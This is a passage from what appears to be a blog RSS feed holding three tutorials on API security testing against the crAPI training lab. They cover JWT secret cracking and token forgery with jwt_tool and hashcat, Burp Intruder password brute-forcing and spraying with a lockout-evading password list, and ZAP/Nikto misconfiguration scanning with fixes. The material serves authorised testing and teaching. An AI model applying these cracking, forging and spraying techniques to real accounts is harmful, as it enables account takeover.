locally:</p><pre>For each candidate_secret in wordlist:<br>    computed_sig = HMAC(header + &quot;.&quot; + payload, candidate_secret)<br>    if computed_sig == jwt_signature:<br>        SECRET FOUND ✓</pre><p>No requests are sent to the API this is entirely offline.</p><p><strong><em>Common Weak Secrets</em></strong></p><p>Applications often use:</p><ul><li>Short passwords (`secret`, `password`, `jwt`)</li><li>Default framework secrets</li><li>Company names or domain names</li><li>Environment-specific strings left in production</li></ul><h4>Cracking with JWT_Tool</h4><pre>python3 jwt_tool.py &lt;JWT&gt; -C -d /path/to/wordlist.txt</pre><p>You can also use <strong>Hashcat</strong> for GPU-accelerated cracking:</p><pre>hashcat -a 0 -m 16500 &lt;JWT&gt; /path/to/wordlist.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zAMBnNM6H-NbwkG4IQWrng.png" /></figure><p><strong>Impact of a Compromised Secret</strong></p><pre><strong>Impact                        Description<br></strong><br>Token forgery                 Sign new tokens with arbitrary claims<br>User impersonation            Forge tokens for any registered user<br>Privilege escalation          Modify role or permission claims<br>Full authentication bypass    Bypass login entirely</pre><blockquote><strong><em>Important distinction:</em></strong><em> Cracking a signing secret does not automatically grant administrator access. The attacker must still understand the application’s authorization logic. But a compromised signing key is serious because it undermines the entire authentication trust model.</em></blockquote><h3>10. Forging JWTs in an Authorized Lab</h3><p>Once a weak signing secret has been discovered during authorized testing, the next step is to understand the actual impact.</p><p><strong>Lab Scenario (crAPI Training Environment)</strong></p><p>Suppose the application issues JWTs containing:</p><pre>{<br>  &quot;sub&quot;: &quot;user@example.com&quot;,<br>  &quot;iat&quot;: 1658506446,<br>  &quot;exp&quot;: 1658592846<br>}</pre><p>After discovering the weak secret, we can forge a token for another registered user.</p><p><strong>Forging with</strong> <strong>JWT_Tool</strong></p><pre>python3 jwt_tool.py &lt;ORIGINAL_JWT&gt; -T</pre><p>The `-T` flag opens the <strong>Tamper </strong>mode, allowing you to modify claims interactively. After modifying the `sub` claim, sign the new token with the discovered secret.</p><p>Alternatively, you can use <strong>jwt.io</strong> to construct and sign a custom token manually.</p><p><strong>Validating the Forged Token</strong></p><pre>GET /identity/api/v2/user/dashboard HTTP/1.1<br>Host: 127.0.0.1:8888<br>Authorization: Bearer &lt;FORGED_TOKEN&gt;</pre><p>If the application responds with the target user’s dashboard data, the vulnerability is confirmed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xkYW0jIue9szRjdUoj0dpg.png" /></figure><p><strong>Documentation Requirements</strong></p><p>A valid vulnerability report must establish:</p><ul><li>The original authentication behavior</li><li>The specific weakness in token validation</li><li>The security impact and affected users</li><li>The affected endpoint(s)</li><li>The exact conditions required for exploitation</li><li>Proof-of-concept steps</li></ul><h3>11. Validating Authentication and Authorization</h3><p>JWT testing should not stop at the token itself. A complete assessment covers <strong>both</strong> authentication and authorization.</p><pre>Authentication  →  &quot;Who are you?&quot;<br>Authorization   →  &quot;What are you allowed to do?&quot;</pre><p>Both must be tested. A token can be cryptographically valid while the API still contains serious authorization flaws.</p><h4>Authentication Testing Checklist</h4><p>- Does the API reject <strong>invalid</strong> tokens?<br>- Does the API reject <strong>expired</strong> tokens (`exp` enforcement)?<br>- Does the API reject <strong>unsigned</strong> tokens (`none` algorithm)?<br>- Does the API validate <strong>token signatures</strong> correctly?<br>- Does the API enforce the <strong>expected signing algorithm</strong>?<br>- Does the API handle <strong>malformed JWTs</strong> safely (no crashes)?</p><h4>Authorization Testing Checklist</h4><p>- Can User A access <strong>User B’s resources</strong> using their own valid token?<br>- Does the API enforce <strong>role-based permissions</strong>?<br>- Does the API validate <strong>object ownership</strong> before returning data?<br>- Can a user <strong>escalate privileges</strong> by modifying JWT claims?<br>- Does the API reject <strong>unauthorized administrative operations</strong>?</p><h4><strong>Real-World Example</strong></h4><p>An API might correctly validate a JWT (authentication ✓) but fail to verify that the authenticated user owns the requested resource (authorization ✗):</p><pre>GET /api/v2/users/99/profile HTTP/1.1<br>Authorization: Bearer &lt;TOKEN_FOR_USER_1&gt;</pre><p>If User 1’s valid token returns User 99’s profile data, that’s an <strong>IDOR (Insecure Direct Object Reference)</strong> vulnerability a separate issue from JWT security, but equally critical.</p><h3>12. Security Recommendations</h3><p><strong>Use Cryptographically Secure Randomness</strong></p><p>Generate tokens using a CSPRNG (Cryptographically Secure Pseudo-Random Number Generator):</p><pre>❌ Avoid               ✅ Use Instead<br>Sequential counters    secrets.token_urlsafe(32) (Python)<br>Timestamps as tokens   crypto.randomBytes(32) (Node.js)<br>Predictable prefixes   UUID v4 with additional entropy<br>Short tokens           Minimum 128 bits of entropy</pre><p><strong>Use Strong JWT Signing Secrets</strong></p><p>For HMAC-based JWTs:</p><p>- Generate secrets with <strong>at least 256 bits</strong> of entropy<br>- <strong>Never</strong> use dictionary words or short strings<br>- Use <strong>dedicated secrets per environment</strong> (dev/staging/prod)<br>- <strong>Rotate secrets</strong> when compromise is suspected<br>- Store secrets in a secure vault (not in code or `.env` files committed to git)</p><p><strong>Enforce Strict Algorithm Validation</strong></p><pre># ❌ DANGEROUS - trusts the token&#39;s own alg header<br>jwt.decode(token, secret)<br># ✅ SAFE - explicitly enforces the expected algorithm<br>jwt.decode(token, secret, algorithms=[&quot;HS256&quot;])</pre><p>Never allow the JWT header to dictate which algorithm is used for verification.</p><p><strong>Validate All Relevant Claims</strong></p><pre>jwt.decode(<br>    token,<br>    secret,<br>    algorithms=[&quot;HS256&quot;],<br>    options={<br>        &quot;verify_exp&quot;: True,    # Enforce expiration<br>        &quot;verify_nbf&quot;: True,    # Enforce not-before<br>        &quot;verify_iss&quot;: True,    # Verify issuer<br>        &quot;verify_aud&quot;: True,    # Verify audience<br>    }<br>)</pre><p><strong>Keep Sensitive Data Out of JWT Payloads</strong></p><pre><strong>Never Include               Safe to Include</strong><br><br>Passwords or hashes         User ID (sub)<br>API secrets                 Roles/permissions<br>PII beyond necessary        Issued-at (iat)<br>Internal credentials        Expiration (exp)</pre><p><strong>Use Appropriate Token Lifetimes</strong></p><ul><li><strong>Short-lived access tokens:</strong> 15 minutes to 1 hour</li><li><strong>Longer-lived refresh tokens:</strong> With rotation and revocation</li><li>Implement <strong>token revocation</strong> for logout and compromise scenarios</li><li>Monitor for <strong>anomalous token usage </strong>patterns</li></ul><p><strong>Protect Authentication Endpoints</strong></p><ul><li>Rate-limit login attempts</li><li>Implement account lockout or CAPTCHA after repeated</li><li>failures Monitor for credential stuffing and password spraying</li><li>Alert on unusual authentication patterns</li></ul><h3>13. Conclusion</h3><p>API token security is an important part of API security testing. Weak token generation, improper JWT validation, and weak signing secrets can lead to serious security issues.</p><p>In this article, we explored how to use Burp Suite Sequencer and JWT_Tool to identify token-related vulnerabilities, including predictable tokens, JWT none algorithm attacks, algorithm confusion, and weak signing secrets.</p><p>However, finding a potential weakness is not enough. Testers must verify whether the vulnerability can actually be exploited and demonstrate its impact.</p><p>The key takeaway is that secure token generation, proper JWT validation, and strong authorization controls are essential for protecting APIs.</p><h3>14. Further Reading</h3><ul><li><a href="https://datatracker.ietf.org/doc/html/rfc7519"><strong>RFC 7519 — JSON Web Token (JWT)</strong></a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc8725"><strong>RFC 8725 — JWT Best Current Practices</strong></a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html"><strong>OWASP JWT Cheat Sheet</strong></a></li><li><a href="https://portswigger.net/web-security/jwt"><strong>PortSwigger JWT Attacks</strong></a></li><li><a href="https://github.com/ticarpi/jwt_tool"><strong>JWT_Tool</strong></a></li></ul><h3>15. Future Improvements</h3><p>This workflow is based on hands-on practice and ongoing learning there may be mistakes, missing steps, or better approaches. If you spot anything off, let me know in the comments or by DM. Feedback is genuinely appreciated.</p><h3>16. Discussion</h3><p><strong>Have you discovered any token-related vulnerabilities during API security testing?</strong></p><p>Share your experiences in the comments — I’d love to learn from different approaches to API security testing.</p><p>Found this useful? Drop a clap 👏, share it with your team, and follow for more API security deep-dives.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a25b8f9d2542" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API-P-4: I Tested Classic API Authentication Attacks — Here’s Exactly How Hackers Break In]]></title>
            <link>https://bilal423.medium.com/api-p-4-i-tested-classic-api-authentication-attacks-heres-exactly-how-hackers-break-in-6696bd6259d5?source=rss-ccc6618876ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/6696bd6259d5</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[api-authentication]]></category>
            <dc:creator><![CDATA[Bilal k. Mohammed]]></dc:creator>
            <pubDate>Thu, 05 Nov 2026 04:52:12 GMT</pubDate>
            <atom:updated>2026-11-05T04:52:12.571Z</atom:updated>
            <content:encoded><![CDATA[<p>A step-by-step walkthrough of brute force, password spraying, and base64 bypass attacks that every developer and security tester must understand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s1dz4bNBJOW7JoTgKQc7OQ.png" /></figure><blockquote>IMPORTANT<br>Ethical Disclosure: All techniques in this article are for authorized penetration testing and educational purposes only. Only test systems you own or have explicit written permission to assess. Unauthorized access is illegal.</blockquote><h4>Why API Authentication Is the Weakest Link</h4><p>Every API that relies on a username and password for authentication is a potential target. Despite years of warnings, brute-force and password-spraying attacks remain devastatingly effective — not because defenders don’t know about them, but because basic authentication is still widely deployed and poorly protected.</p><p>In this guide, I’ll walk you through three classic API authentication attacks, exactly as they’re performed in real penetration tests:</p><p>1. <strong>Password Brute-Force Attacks</strong><br>2. <strong>Password Spraying</strong><br>3. <strong>Base64 Encoding Bypass</strong></p><p>We’ll use the <a href="https://github.com/OWASP/crAPI">crAPI</a> lab environment, and Burp Suite. Let’s break it down.</p><h4>The Setup: How API Authentication Actually Works</h4><p>Before attacking anything, understand the target.</p><p>RESTful APIs are stateless they don’t remember who you are between requests. So most APIs use a two-step authentication flow:</p><pre>Step 1: POST /identity/api/auth/login → <br>{ &quot;email&quot;: &quot;user@email.com&quot;, &quot;password&quot;: &quot;secret&quot; }<br>Step 2: API returns a Bearer Token<br>Step 3: All subsequent requests use that token</pre><p>This means the login endpoint is the single point of failure for authentication. If you can crack those credentials, you own the account.</p><h3>Attack #1. Password brute-force</h3><p>Password brute-forcing involves systematically testing multiple password candidates against an authentication endpoint. Unlike traditional web application login testing, API brute-forcing often requires working with JSON request bodies, custom headers, and specific authentication formats:</p><pre>POST /identity/api/auth/login HTTP/1.1<br>Host: localhost:8888<br>Content-Type: application/json</pre><pre>{<br>  &quot;email&quot;: &quot;test@example.com&quot;,<br>  &quot;password&quot;: &quot;Password123!&quot;<br>}</pre><p>The request structure depends on the API implementation, so understanding the authentication request is an important first step.</p><h4>Identifying the authentication request</h4><p>Burp Suite can help capture authentication requests generated by an application, and Postman can inspect and reproduce them. Once the request structure is understood, testers can evaluate authentication behavior within an authorized environment.</p><h4>Using Burp Suite to Test Password Brute-Force</h4><p><strong>Step 1:</strong> Send the login request to Burp Suite Intruder.</p><p><strong>Step 2:</strong> Select the password field as the payload position and choose the <strong>Sniper</strong> attack type.</p><p><strong>Step 3:</strong> In the Payloads section, provide a list of common passwords to test against your authorized test account, then start the attack.</p><p><strong>Step 4:</strong> Once the attack finishes, analyze the results by looking for differences in HTTP status codes, response lengths, and response times. Investigate any unusual responses to determine whether they indicate an authentication weakness.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KbIwWiEAWLux3Ette0v7Kw.png" /></figure><blockquote><strong><em>Important:</em></strong><em> Perform credential testing only against applications you own or have explicit authorization to test. Use local labs such as crAPI for practical exercises.</em></blockquote><h4>Analyzing authentication responses</h4><p>Identifying successful authentication isn’t always as simple as looking for an HTTP 200 response applications may return different status codes, response lengths, or structures depending on whether authentication succeeds or fails. During testing, compare:</p><ul><li>HTTP status codes</li><li>Response lengths</li><li>Response body structure</li><li>Error messages</li><li>Authentication token presence</li></ul><p>Unexpected differences may reveal authentication behavior that deserves further investigation.</p><h3>Attack #2: Password Spraying</h3><p>Where brute-force hammers one account with many passwords, password spraying does the opposite, it tries a small number of common passwords across a large list of accounts.</p><p>This is designed specifically to evade lockout policies.</p><p>If an API locks accounts after 10 failed attempts, spraying with 9 passwords per account never triggers that threshold.</p><h4><strong>Step 1 — Build a Maximum-Coverage User List</strong></h4><p>Spraying lives or dies on user list quality. Use every recon channel available:</p><p>- Excessive data exposure vulnerabilities (like the crAPI community forum leak)<br>- OSINT tools like LinkedIn scraping<br>- Leaked credential databases (HaveIBeenPwned, DeHashed)</p><h4><strong>Step 2 — Craft a Targeted Password List</strong></h4><p>Forget rockyou.txt for this attack. Build a short, smart list (stay one below the lockout threshold):</p><pre>Summer2025!<br>Spring2025!<br>Winter2025!<br>QWER!@#$<br>Password1!<br>March212006!<br>Twitter@2025<br>Company@2025</pre><p>Password construction rules that meet most policies:<br>- Minimum 8 characters ✓<br>- Uppercase + lowercase ✓<br>- Number ✓<br>- Special character ✓</p><h4><strong>Step 3 — Configure Burp Suite Intruder (Cluster Bomb)</strong></h4><p>1. Capture the login request in Burp Proxy<br>2. Send it to Intruder (Ctrl+I)<br>3. Set attack type to <strong>Cluster Bomb</strong><br>4. Set attack positions:<br> — Position §1§ → the username/email field<br> — Position §2§ → the password field</p><pre>POST /identity/api/auth/login HTTP/1.1<br>Content-Type: application/json<br>{&quot;email&quot;:&quot;§user@email.com§&quot;,&quot;password&quot;:&quot;§FUZZ§&quot;}</pre><blockquote>NOTE<br>If all your users share the same domain (e.g., `<a href="http://twitter.com/company">@company</a>.com`), you can set the position only on the prefix the part before `@` to keep the attack cleaner.</blockquote><p><strong>Load Payloads</strong></p><p>- Payload Set 1: Your users.txt file (the email list)<br>- Payload Set 2: Your crafted password list</p><h4><strong>Step 4 — Analyze Results</strong></h4><p>Look for two anomalies:<br>- HTTP 200 status code (vs. the typical 400/401 failures)<br>- Different response length (a successful login returns a token; failures return an error)</p><p>Sort Intruder results by Status column, then by Length. The outliers are your wins.</p><h3>Attack 3: Base64 Encoding Bypass</h3><p>Some APIs base64-encode authentication payloads before sending them. This is not encryption it’s obfuscation. Base64 is trivially reversible and provides zero security benefit. But it does add a step that breaks naive fuzzing tools.</p><h4>Step 1 — Identify Base64 Encoding</h4><p>Capture a login request in Burp. If the credentials field looks like garbled characters (e.g., `dXNlcjpwYXNzd29yZA==`), it’s base64. Decode it in Burp:</p><p>- Highlight the encoded value<br>- Right-click → Convert Selection → Base64 → Base64-decode<br>- Shortcut: Ctrl+Shift+B</p><p>You’ll see the decoded format, e.g., user:password. Now you know the structure.</p><h4>Step 2 — Set Up Intruder Attack Position</h4><p>Select the entire base64-encoded password as your attack position in Burp Intruder:</p><pre>Authorization: Basic §dXNlcjpwYXNzd29yZA==§<br></pre><h4>Step 3 — Add Payload Processing Rule</h4><p>This is the key step. Under the Payloads tab:</p><ol><li>Load your password list as the payload set<br>2. Scroll to Payload Processing<br>3. Click Add<br>4. Select Encode → Base64-encode<br>5. Click OK</li></ol><pre>Payload Processing Rule:<br>Rule: Encode → Base64-encode<br>Applied to: Each password before it is sent</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SzF4wYF1HgUlPf9qLeQvNQ.png" /></figure><p>This tells Intruder to automatically base64-encode each password before inserting it into the request — exactly mimicking what the legitimate client does.</p><h4>Step 4 — Run and Decode Results</h4><p>Launch the attack as normal. When reviewing results, decode any anomalous payloads to see the plaintext password:</p><p>- Highlight the payload in results<br>- Right-click → Convert Selection → Base64 → Base64-decode<br>- Or use: Ctrl+Shift+B</p><blockquote>WARNING<br>Base64 ≠ Security. If you encounter an API using base64-encoded credentials as a “security” measure, flag it in your report as a vulnerability — it provides a false sense of security while adding zero actual protection.</blockquote><h3>Conclusion</h3><p>API authentication testing is an essential part of web and API security assessments. We explored classic authentication attacks — password brute-forcing, password spraying, and Base64-encoded authentication — and how weaknesses in these mechanisms can lead to unauthorized access when appropriate controls are missing or improperly implemented.</p><p>As penetration testers, the goal isn’t just to identify authentication vulnerabilities, but to understand their root causes and security implications. Strong authentication, effective rate limiting, account protection, and proper monitoring are essential to protecting APIs against these attacks. Keep practicing these techniques in authorized environments such as crAPI to strengthen your API security testing skills.</p><h3>Further Reading</h3><ul><li><a href="https://owasp.org/www-project-api-security/">OWASP API Security Top 10</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html">OWASP Authentication Cheat Sheet</a></li><li><a href="https://github.com/OWASP/crAPI">crAPI — Completely Ridiculous API</a></li></ul><h3>Feedback and improvements</h3><p>This workflow is based on hands-on practice and ongoing learning — there may be mistakes, missing steps, or better approaches. If you spot anything off, let me know in the comments or by DM. Feedback is genuinely appreciated.</p><h3>Discussion</h3><ul><li>Have you encountered authentication vulnerabilities while testing APIs?</li><li>What authentication weaknesses do you commonly encounter?</li><li>Which tools do you prefer for API authentication testing?</li><li>What additional techniques would you include in this workflow?</li></ul><p>Share your experiences in the comments — I’d love to learn from different approaches to API security testing.</p><p>Found this useful? Drop a clap 👏, share it with your team, and follow for more API security deep-dives.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6696bd6259d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API-P-3: Scan for API Misconfigurations With ZAP, Weed Out False Positives, Then Fix Them]]></title>
            <link>https://bilal423.medium.com/api-p-3-scan-for-api-misconfigurations-with-zap-weed-out-false-positives-then-fix-them-78efe89015ff?source=rss-ccc6618876ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/78efe89015ff</guid>
            <category><![CDATA[api-scaning]]></category>
            <category><![CDATA[api-misconfigurations]]></category>
            <category><![CDATA[zap]]></category>
            <dc:creator><![CDATA[Bilal k. Mohammed]]></dc:creator>
            <pubDate>Wed, 04 Nov 2026 08:34:44 GMT</pubDate>
            <atom:updated>2026-11-05T04:48:58.306Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A practical workflow for finding misconfigurations with a scanner, separating real issues from false positives, and fixing what’s left.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FfsQmAY0u3t-8fResgaVwg.png" /></figure><p>Scanners are good at finding misconfigurations and bad at telling you which ones matter.</p><p>Run OWASP ZAP against an API and you get a long list of alerts: missing headers, version leaks, CORS warnings, allowed methods. Some are real risks. Many are noise for an API.</p><p>This guide shows how to find misconfigurations with a scanner, how to spot the false positives, and how to fix what remains.</p><p><em>Only test systems you own or have written permission to test. The demo target is crAPI, an intentionally vulnerable API built for training.</em></p><h3>Run the scans that surface misconfigurations</h3><p>You will use three tools: Nikto for a quick baseline, ZAP for the API scans, and testssl.sh for TLS.</p><h4>A. Baseline scan with Nikto</h4><ol><li>Open a terminal.</li><li>Run the scan and save a report:</li></ol><pre>nikto -h http://crapi.apisec.ai -o nikto-report.html -Format htm<br><br>-h: Specifies the target host or URL to scan.<br><br>-o nikto-report.html: Specifies the output file where<br>                      results will be saved.<br><br>-Format htm: Specifies HTML format for the generated report.</pre><h4>B. Prepare ZAP</h4><ol><li>Start ZAP. When asked about the session, pick <strong>Yes, I want to persist this session</strong> and name it. You keep your evidence this way.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*bbFWtp-LUwRM3Qcz-mtCaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yAoghZPS0-lVrBkU1VlKTA.png" /></figure><p>2. In the top toolbar, make sure the mode dropdown says <strong>Standard Mode</strong> for now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*li01lN9biXT3nd2w4--4fA.png" /></figure><p>3. Confirm the OpenAPI add-on is installed: click the <strong>Manage Add-ons</strong> icon (the puzzle/grid icon in the toolbar) → <strong>Installed</strong> tab → look for <strong>OpenAPI Support</strong>. If it’s missing, open the <strong>Marketplace</strong> tab, search for it, and click <strong>Install</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ayaRZ7LBC1D0MBc_4974Ug.png" /></figure><h4>C. Import the API specification</h4><ol><li>In the top menu, click <strong>Import</strong> → <strong>Import an OpenAPI definition from a file</strong> (use <em>from a URL</em> if the spec is hosted).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQb7dTPTvhfGim9Ne4TnOA.png" /></figure><p>2. In the dialog, click the <strong>Choose</strong> (browse) button next to <strong>File</strong>, then select your spec (for the crAPI exercise, specs.yml).</p><p>3. In the <strong>Target</strong> field, enter the URL ZAP should call: http://crapi.apisec.ai, or http://127.0.0.1:8888 for a local crAPI. This overrides the server URL written in the spec.</p><p>4. Click <strong>Import</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*Ia9dxk5GbuSFsuc7THNvpw.png" /></figure><p>5. In the <strong>Sites</strong> panel (left), expand the target. Every path from the spec should appear. If the tree is empty, the Target URL or the spec format is wrong.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HQ2dh9eeykZrei-zntpZTQ.png" /></figure><p>6. Put the site in scope: right-click the site → <strong>Include in Context</strong> → <strong>Default Context</strong>. This stops ZAP from touching other domains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QmxYo1d4ZjHXJWhDnlqUWA.png" /></figure><h4>D. Unauthenticated active scan</h4><ol><li>In the <strong>Sites</strong> panel, right-click the root of your target (for example http://crapi.apisec.ai) → <strong>Attack</strong> → <strong>Active Scan...</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lPhuP7dyV52ks73DAsNTvQ.png" /></figure><p>2. In the dialog, check these fields:</p><ul><li><strong>Starting point:</strong> your target URL.</li><li><strong>Recurse:</strong> ticked, so child paths are included.</li><li><strong>Policy:</strong> Default Policy. To reduce risk, open <strong>Analyse</strong> → <strong>Scan Policy Manager</strong> first and lower the attack strength or disable rules you don’t want.</li><li>Do the 3 step before Start scan (You might alredy cliecked it)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8_T903rnThDrSoKhsxvwbQ.png" /></figure><p>3. Open <strong>Tools</strong> → <strong>Options</strong> → <strong>Active Scan Input Vectors</strong>. Confirm the JSON option is ticked so ZAP tests values inside JSON request bodies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h_ngE8nM0fY1458diJ07vw.png" /></figure><p>4. Click <strong>Start Scan</strong>.</p><p>5. Watch progress in the bottom <strong>Active Scan</strong> tab. When it finishes, open the <strong>Alerts</strong> tab.</p><p>6. Click an alert, then read the <strong>Request</strong> and <strong>Response</strong> panes to see exactly what ZAP sent and received.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2g4_CpRmRWXrD5pnyYBK5w.png" /></figure><p>Protected endpoints will mostly return 401 here. That is expected.</p><h4>E. Authenticated scan,</h4><h4>option 1: Manual Explore and Attack Mode</h4><ol><li>On the <strong>Quick Start</strong> tab, click <strong>Manual Explore</strong>.</li><li>In <strong>URL to explore</strong>, enter your target. Tick <strong>Enable HUD</strong>. Pick a browser and click <strong>Launch Browser</strong>.</li><li>In the browser that opens, click <strong>Continue to your target</strong> on the HUD welcome page.</li><li>Register a test account and log in. Then use the app: open your profile, view orders, update details, submit forms. ZAP records each request into the Sites tree.</li><li>Add the target to scope: right-click the site in ZAP → <strong>Include in Context</strong> → <strong>Default Context</strong>. In the HUD you can also use the <strong>Scope</strong> tool on the left panel.</li><li>Set the mode dropdown in the ZAP toolbar to <strong>Attack Mode</strong> (or use the HUD’s Attack Mode control). Now ZAP actively scans in-scope requests as you browse.</li><li>Keep using the app for a few minutes, then switch back to <strong>Standard Mode</strong> and review the <strong>Alerts</strong> tab.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ex3FXoQiMVLpmZ6uPVj13w.png" /></figure><h4>F. Authenticated scan, option 2: inject the token yourself</h4><p>Use this when you want a full scan that keeps a valid token the whole time.</p><ol><li>After logging in through the ZAP browser, open the <strong>History</strong> tab and find the login request (in crAPI, a POST to the /identity/api/auth/login path).</li><li>Click it and read the <strong>Response</strong> body. Copy the token value.</li><li>Open <strong>Tools</strong> → <strong>Options</strong> → <strong>Replacer</strong> and click <strong>Add</strong>.</li><li>Fill in the rule:</li></ol><ul><li><strong>Description:</strong> Auth token</li><li><strong>Match Type:</strong> Request Header (will add if not present)</li><li><strong>Match String:</strong> Authorization</li><li><strong>Replacement String:</strong> Bearer, a space, then the token you copied</li><li><strong>Enable:</strong> ticked</li></ul><p>5. Click <strong>Save</strong>, then <strong>OK</strong>.</p><p>6. Repeat the active scan from section D: right-click the target → <strong>Attack</strong> → <strong>Active Scan…</strong> → <strong>Start Scan</strong>.</p><p>7. Confirm authentication works: in the <strong>Active Scan</strong> tab, open the <strong>Messages</strong> sub-tab and check the status codes. Mostly 200 means it works. Mostly 401 means the token expired, so log in again and update the Replacer rule.</p><h4>G. Check TLS and export evidence</h4><ol><li>Run ./testssl.sh api.example.com (or sslyze api.example.com) against the exact public hostname.</li><li>In ZAP, click <strong>Report</strong> → <strong>Generate Report…</strong>, choose a template such as <strong>Traditional HTML Report</strong>, and save it with your findings.</li></ol><p>Active scans send heavy traffic. Avoid production, or exclude payment and account-changing endpoints.</p><h3>Step 2: Triage every alert before you trust it</h3><p>For each alert, ask four questions:</p><ol><li>Can I reproduce it?</li><li>Does it apply to this API? A JSON API is not an HTML page.</li><li>Could an attacker do something real with it?</li><li>What evidence proves it (request, response, header)?</li></ol><p>Once you confirm a false positive, add a ZAP Alert Filter so it stops coming back in later scans. The six findings below follow the same pattern: what the scanner says, when it is a false positive, how to verify, and how to fix it.</p><h4>Finding 1: Missing security headers</h4><p><strong>What the scanner reports:</strong> Missing anti-clickjacking header, CSP not set, X-Content-Type-Options missing, HSTS not set.</p><p><strong>Often a false positive when:</strong> the response is JSON consumed by an app and never rendered in a browser frame. Clickjacking and CSP protect HTML pages. X-XSS-Protection is deprecated, so don’t report it.</p><p><strong>Still real when:</strong> the API serves HTML (docs pages, error pages), or browsers call it and HSTS is missing.</p><p><strong>How to verify:</strong> run curl -i https://api.example.com/endpoint and compare headers on a JSON response and an HTML response.</p><p><strong>How to fix:</strong> set headers once at the gateway or reverse proxy:</p><pre>add_header X-Content-Type-Options nosniff always;<br>add_header Strict-Transport-Security &#39;max-age=31536000; includeSubDomains&#39; always;<br>add_header Content-Security-Policy &quot;default-src &#39;none&#39;; frame-ancestors &#39;none&#39;&quot; always;<br>add_header Cache-Control no-store always;</pre><p>Use no-store only on responses with sensitive data.</p><h4>Finding 2: Verbose error messages</h4><p><strong>What the scanner reports:</strong> application error disclosure, stack trace, or database error in a response.</p><p><strong>Often a false positive when:</strong> the scanner matched a keyword like “exception” in a normal, user-friendly error message.</p><p><strong>Still real when:</strong> responses include stack traces, file paths, SQL fragments, framework versions, or internal hostnames.</p><p><strong>How to verify:</strong> send malformed JSON, a wrong data type, or an oversized value, then read the full response body.</p><p><strong>How to fix:</strong> add a global exception handler that returns a generic message plus a correlation ID, log the details server-side, and turn debug mode off in production.</p><h4>Finding 3: Server version disclosure</h4><p><strong>What the scanner reports:</strong> the Server or X-Powered-By header leaks a product and version.</p><p><strong>Often a false positive when:</strong> the header shows only a product name with no version, or it comes from a CDN rather than your server.</p><p><strong>Still real when:</strong> an exact version appears and that version has known vulnerabilities.</p><p><strong>How to verify:</strong> curl -I https://api.example.com and read the headers. Compare the version against its public advisories.</p><p><strong>How to fix:</strong> patch first, hide second. Hiding helps only as defense in depth. In Nginx, set server_tokens off;.</p><h4>Finding 4: Weak TLS configuration</h4><p><strong>What the scanner reports:</strong> obsolete protocol versions, weak ciphers, or certificate problems.</p><p><strong>Often a false positive when:</strong> you scanned a staging host, a different port, or an origin behind a CDN that terminates TLS, so the result doesn’t describe what users reach.</p><p><strong>Still real when:</strong> the production endpoint accepts TLS 1.0/1.1, weak ciphers, or an invalid certificate chain.</p><p><strong>How to verify:</strong> run testssl.sh api.example.com against the exact public hostname.</p><p><strong>How to fix:</strong> allow TLS 1.2 and 1.3 only, prefer 1.3, drop weak ciphers, renew certificates, and enable HSTS.</p><h4>Finding 5: CORS misconfiguration</h4><p><strong>What the scanner reports:</strong> cross-domain misconfiguration, usually Access-Control-Allow-Origin: *.</p><p><strong>Often a false positive when:</strong> the API is intentionally public, authenticates with a bearer token in the Authorization header (not cookies), and returns no private data.</p><p><strong>Still real when:</strong> the server reflects any Origin and also sends Access-Control-Allow-Credentials: true.</p><p><strong>How to verify:</strong></p><pre>curl -i -H &#39;Origin: https://evil.example&#39; https://api.example.com/api/profile</pre><p>If the response echoes that origin with credentials allowed, it’s a real finding.</p><p><strong>How to fix:</strong> use an explicit allowlist of origins, never reflect the Origin header, and never combine a wildcard with credentials. CORS is not a replacement for authorization.</p><h4>Finding 6: Unnecessary HTTP methods</h4><p><strong>What the scanner reports:</strong> OPTIONS, TRACE, PUT, or DELETE allowed.</p><p><strong>Often a false positive when:</strong> OPTIONS is listed. Browsers need it for CORS preflight requests.</p><p><strong>Still real when:</strong> TRACE responds, or PUT/DELETE succeed on routes that should be read-only or without proper authorization.</p><p><strong>How to verify:</strong> send each method yourself, with and without a token, and check the status code. A listed method is not proof of a flaw.</p><p><strong>How to fix:</strong> allow only the methods each route needs, return 405 for the 